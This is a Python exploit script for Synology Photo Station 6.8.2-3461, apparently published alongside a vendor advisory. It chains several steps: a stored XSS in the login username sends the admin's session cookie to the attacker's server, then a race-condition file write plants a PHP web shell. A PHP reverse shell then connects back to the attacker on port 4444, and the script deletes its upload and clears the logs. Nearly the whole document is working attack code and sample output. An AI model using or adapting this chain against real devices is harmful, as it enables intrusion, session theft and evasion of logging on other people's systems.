Synology Photo Station 6.8.2-3461 Remote Code Execution

`#!/usr/local/bin/python  
"""  
Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability  
Found by: mr_me  
Tested: 6.8.2-3461 (latest at the time)  
Vendor Advisory: https://www.synology.com/en-global/support/security/Synology_SA_18_02  
  
# Summary:  
==========  
  
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.  
The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.  
  
# Example:  
==========  
  
saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0  
  
Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability  
mr_me  
  
(+) waiting for the admin...  
(+) stolen: qt4obchbqfss2ap9ct9nb1i534  
(+) updated the settings!  
(+) wrote php code!  
(+) attempting race condition...  
(+) won the race!  
(+) rce is proven!  
(+) deleted the image and scrubbed the logs!  
(+) starting handler on port 4444  
(+) connection from 192.168.100.9  
(+) pop thy shell!  
id  
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)  
"""  
  
import sys  
import socket  
import requests  
import telnetlib  
from threading import Thread  
from base64 import b64encode as b64e  
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler  
  
try:  
import netifaces as ni  
except:  
print "(-) try 'pip install netifaces'"  
sys.exit(1)  
  
# haven't pwned yet  
pwned = False  
  
class xss(BaseHTTPRequestHandler):  
def log_message(self, format, *args):  
return  
def do_GET(self):  
global s  
  
# incase the referer isn't set, its coming from someone else  
try:  
referer = self.headers.get('Referer')  
except:  
referer = ""  
  
# of course this isn't bullet proof, but its enough for a poc  
if t in referer:  
if "PHPSESSID" in self.path:  
s = self.path.split("=")[1]  
print "(+) stolen: %s" % s  
pwned = True  
self.send_response(200)  
self.end_headers()  
return  
  
def _build_bd(raw=False):  
php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"  
if raw == True:  
return php  
return "photo_2f_%s" % (php.encode("hex"))  
  
def we_can_set_settings(target, session):  
uri = "http://%s/photo/admin/share_setting.php" % target  
d = {  
"action" : "set_setting",  
"social_flickr" : "on",  
"share_upload_orig" : "on"  
}  
c = { "PHPSESSID" : session }  
r = requests.post(uri, data=d, cookies=c).json()  
if "success" in r:  
if r["success"] == True:  
return True  
return False  
  
def we_can_upload(target, session):  
uri = "http://%s/photo/webapi/file.php" % (target)  
p = { "SynoToken" : session }  
c = { "PHPSESSID" : session }  
  
# valid gif, important  
gif = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"  
gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"  
gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"  
f = { "original": ("si.gif", gif) }  
d = {  
"api": "SYNO.PhotoStation.File",   
"method" : "uploadphoto",  
"version" : 1,  
"dest_folder_path": "",  
"duplicate" : "rename",  
"mtime": "1513540164787",  
"filename" : _build_bd(True)  
}  
r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()  
if "success" in r:  
if r["success"] == True:  
return True  
return False  
  
def race(target):  
r = ""  
while("done" not in r):  
r = requests.get("http://%s/photo/pwn.php" % target).text  
return True  
  
def we_won_race(target, session, racing_thread):  
while(racing_thread.isAlive()):  
uri = "http://%s/photo/SocialNetwork/flickr.php" % target  
d = {  
"prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",  
"action" : "multi_upload",  
"token" : 1,  
"secret" : "",  
"photoList" : _build_bd()  
}  
c = { "PHPSESSID": session }  
requests.post(uri, cookies=c, data=d)  
return True  
  
def build_php_code():  
phpkode = ("""  
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")  
phpkode += ("""$dis=@ini_get('disable_functions');""")  
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")  
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)  
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)  
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)  
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")  
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")  
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)  
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")  
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)  
phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)  
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)  
phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)  
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)  
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)  
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)  
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)  
phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)  
phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)  
phpkode += ("""$nofuncs='no exec functions'; """)  
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)  
phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))  
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)  
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)  
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)  
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)  
phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port))  
phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)  
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)  
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)  
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)  
phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)  
phpkode += ("""}@socket_close($s);} """)  
return phpkode  
  
def exec_code(target):  
handlerthr = Thread(target=handler, args=(cb_port,))  
handlerthr.start()  
we_can_exec_php(target, b64e(build_php_code()))  
  
def handler(lport):  
print "(+) starting handler on port %d" % lport  
t = telnetlib.Telnet()  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", lport))  
s.listen(1)  
conn, addr = s.accept()  
print "(+) connection from %s" % addr[0]  
t.sock = conn  
print "(+) pop thy shell!"  
t.interact()  
  
def we_can_exec_php(target, php):  
h = { "SIN" : php }  
r = requests.get("http://%s/photo/si.php" % target, headers=h)  
if r.text == "pwn":  
return True  
return False  
  
def we_can_clean_up(target, session):  
uri = "http://%s/photo/webapi/photo.php" % target  
  
d = {  
"api": "SYNO.PhotoStation.Photo",   
"method" : "delete",  
"version" : 1,  
"id" : _build_bd()  
}  
c = { "PHPSESSID" : session }  
h = { "X-SYNO-TOKEN" : session }  
r = requests.post(uri, cookies=c, data=d, headers=h).json()  
if "success" in r:  
if r["success"] == True:  
return True  
return False  
  
def banner():  
return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n"""  
  
def do_xss(target, ip):  
j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip  
d = {  
"api" : "SYNO.PhotoStation.Auth",  
"method" : "login",  
"version" : 1,  
"username" : j,  
"password" : "WAT",  
"enable_syno_token" : "true"  
}  
r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json()  
  
def we_can_clear_logs(target, session):  
c = { "PHPSESSID" : session }  
p = { "SynoToken" : session }  
d = {  
"api": "SYNO.PhotoStation.PhotoLog",   
"method" : "clear",  
"version" : 1,  
}  
r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json()  
if "success" in r:  
if r["success"] == True:  
return True  
return False  
  
def start_pain_train(t, s):  
if we_can_set_settings(t, s):  
print "(+) updated the settings!"  
if we_can_upload(t, s):  
print "(+) wrote php code!"  
print "(+) attempting race condition..."  
r = Thread(target=race, args=(t,))  
r.start()  
if we_won_race(t, s, r):  
print "(+) won the race!"  
if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')):  
print "(+) rce is proven!"  
if we_can_clean_up(t, s) and we_can_clear_logs(t, s):  
print "(+) deleted the image and scrubbed the logs!"  
exec_code(t)  
  
def keep_running():  
if pwned == True:  
return False  
return True  
  
def main():  
print banner()  
global cb_host, cb_port, s, t  
if len(sys.argv) != 3:  
print "(+) usage: %s <target> <interface>" % sys.argv[0]  
print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0]  
sys.exit(1)  
  
s = ""  
t = sys.argv[1]  
cb_port = 4444  
  
try:  
cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr']  
except:  
print "(-) no ip address associated with that interface!"  
sys.exit(1)  
  
do_xss(t, cb_host)  
  
try:  
server = HTTPServer(('0.0.0.0', 9090), xss)  
print '(+) waiting for the admin...'  
while keep_running():  
server.handle_request()  
  
except KeyboardInterrupt:  
print '(+) shutting down the web server'  
server.socket.close()  
  
if s != "":  
start_pain_train(t, s)  
  
if __name__ == "__main__":  
main()  
  
  
`